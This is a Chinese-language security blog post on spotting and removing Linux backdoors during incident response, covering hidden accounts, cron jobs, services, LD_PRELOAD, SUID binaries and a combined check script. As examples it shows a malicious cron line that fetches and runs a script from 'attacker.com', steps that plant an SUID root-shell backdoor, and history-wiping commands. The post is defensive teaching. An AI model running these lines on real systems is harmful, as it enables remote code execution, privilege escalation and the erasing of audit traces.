文章总结: 文章详细介绍了Linux系统常见后门类型及排查方法,包括账号类后门、定时任务、启动项、动态链接库劫持、SUID提权等,提供了具体排查命令和综合排查脚本,帮助安全人员快速识别和清除系统后门,保障系统安全。
综合评分: 89
文章分类: 应急响应,漏洞分析,实战经验,安全工具,终端安全
应急响应后门排查入门(Linux篇)
原创
鸭科
C4安全
2025年11月25日 09:54
江苏
一、常见后门
常见后门类型分类:
| 类型 | 平台 | 特点 |
| — | — | — |
| 账号类后门 | Linux/Windows | 创建隐藏用户或提升权限账户 |
| 定时任务后门 | Linux/Windows | 利用 cron / Task Scheduler 执行恶意程序 |
| 启动项后门 | Windows/Linux | 写入开机自启项实现持久化 |
| 动态链接库劫持 | Linux/Windows | LD_PRELOAD / DLL 注入 |
| 进程注入型后门 | Linux/Windows | 注入 shellcode 到合法进程中 |
| Web 内存马 | Web 应用 | 不落地内存驻留,难查杀 |
| Rootkit | Linux/Windows | 隐藏文件、进程、网络连接等 |
二、Linux 系统后门排查详解
1. 账号类后门排查
(1)检查是否存在 UID=0 的多个超级用户
awk -F: '$3==0 {print $1}' /etc/passwd
- 正常应仅输出
root。 - 若出现其他用户名(如
backdoor),说明已被添加特权账户。
(2)检查 Shadow 文件中的加密密码字段
grep '^\(root\|.*\$\)' /etc/shadow
- 查看是否有非 root 用户使用
$1$(MD5)或$6$(SHA-512)加密的密码。 - 异常情况:空密码用户允许本地登录,但禁止远程 SSH 登录。
(3)禁用可疑账号
usermod -L username # 锁定账号userdel -r username # 删除账号及其家目录
2. 历史命令分析(痕迹追溯)
(1)查看当前用户的命令历史
history
(2)增强历史记录日志(防御性配置)
编辑 /etc/profile,添加以下内容:
########## 增强历史记录 ##########USER_IP=$(who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g')if [ "$USER_IP" = "" ]; then USER_IP=$(hostname)fiexport HISTTIMEFORMAT="%F %T $USER_IP $(whoami) "shopt -s histappendexport PROMPT_COMMAND="history -a"########## 结束 ##########
(3)清空历史记录(应急后操作)
history -c> ~/.bash_history
3. 定时任务后门排查
(1)检查系统级定时任务(crontab)
# 查看系统 cron 配置cat /etc/crontabls /etc/cron.d/ls /etc/cron.{hourly,daily,weekly,monthly}
# 检查每个用户的 crontabfor user in $(cut -f1 -d: /etc/passwd); do echo "=== Crontab for $user ===" crontab -u $user -l 2>/dev/nulldone
(2)常见恶意 cron 示例
* * * * * /tmp/.malicious.sh*/5 * * * * curl http://attacker.com/sh | sh
(3)清除异常任务
crontab -e # 编辑当前用户任务crontab -u username -r # 删除指定用户所有任务
4. 启动项与服务后门排查
(1)SysVinit 系统(旧版)
chkconfig --list | grep 3:on
(2)Systemd 系统(主流)
systemctl list-unit-files --type=service | grep enabled
(3)查找自定义服务文件
find /etc/systemd/system/ -name "*.service" -exec cat {} \;
5. 动态链接库预加载后门(LD_PRELOAD)
原理
通过设置环境变量 LD_PRELOAD 加载恶意 .so 文件,劫持标准函数(如 getuid, fopen)。
排查方法
(1)检查是否存在异常的 /etc/ld.so.preload
cat /etc/ld.so.preload
- 正常情况下该文件不存在或为空。
- 若存在路径指向
.so文件,则极可能是后门。
(2)使用 strace 跟踪动态库加载
strace -e trace=openat,execve ls 2>&1 | grep '\.so'
(3)检查环境变量是否被篡改
env | grep LD_PRELOADps aux | grep -i preload
6. SUID 提权后门
原理
将可执行文件设置 SUID 权限,使其以属主身份运行。
植入后门
cp /bin/bash /tmp/nfchmod +s /tmp/nf
利用:
/tmp/nf -p # 获取 root shell
排查命令
find / -perm -4000 -type f -exec ls -ldb {} \; 2>/dev/null
重点关注:
- 非官方路径下的 SUID 程序(如
/tmp,/dev/shm) - 不属于 root 的 SUID 程序
清除
chmod -s /tmp/nfrm /tmp/nf
#
三、综合排查脚本(Linux)
#!/bin/bashecho "========== 系统后门综合排查脚本 =========="
echo "[+] 1. 检查特权用户"awk -F: '$3==0 {print $1}' /etc/passwd
echo "[+] 2. 检查可远程登录账户"grep '\$6\$' /etc/shadow | cut -d: -f1
echo "[+] 3. 检查 sudo 权限用户"grep "ALL=(ALL)" /etc/sudoers /etc/sudoers.d/* 2>/dev/null
echo "[+] 4. 检查定时任务"(crontab -l 2>/dev/null; echo; for u in $(cut -f1 -d: /etc/passwd); do crontab -u $u -l 2>/dev/null; done)
echo "[+] 5. 检查启动项服务"systemctl list-unit-files --type=service | grep enabled
echo "[+] 6. 检查 SUID 文件"find / -perm -4000 -type f -exec ls -ldb {} \; 2>/dev/null | head -20
echo "[+] 7. 检查 LD_PRELOAD 和 /etc/ld.so.preload"cat /etc/ld.so.preload 2>/dev/null || echo "Not found"env | grep LD_PRELOAD
echo "[+] 8. 检查异常网络连接"netstat -antlp | grep ESTABLISHED
echo "[+] 9. 检查最近修改的文件(过去1天)"find /tmp /var/tmp /dev/shm -mtime -1 -type f -exec ls -la {} \;
echo "[+] 10. 检查 .bash_history"head ~/.bash_history
echo "========================================"
保存为 backdoor_check.sh 并执行即可:
chmod +x backdoor_check.sh./backdoor_check.sh > report.txt
#
团队内部知识大陆链接如下,折扣优惠中~
往期推荐
字典生成工具”闪紫”,AI联助力生成效果,迎来大更新v1.1.1版本!
【海外SRC】漏洞挖掘之业务漏洞
【实战SRC】漏洞挖掘之wsdl服务注入
雷池WAF使用指南,如何加强检测规则配置
用友U8C漏洞分析 – FilterCondAction方法SQL注入漏洞
Yakit漏洞 – 查看未公开的私密插件(已修复)
挖漏之旅杂谈 – 终焉的奖池
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:C4安全 鸭科《应急响应后门排查入门(Linux篇)》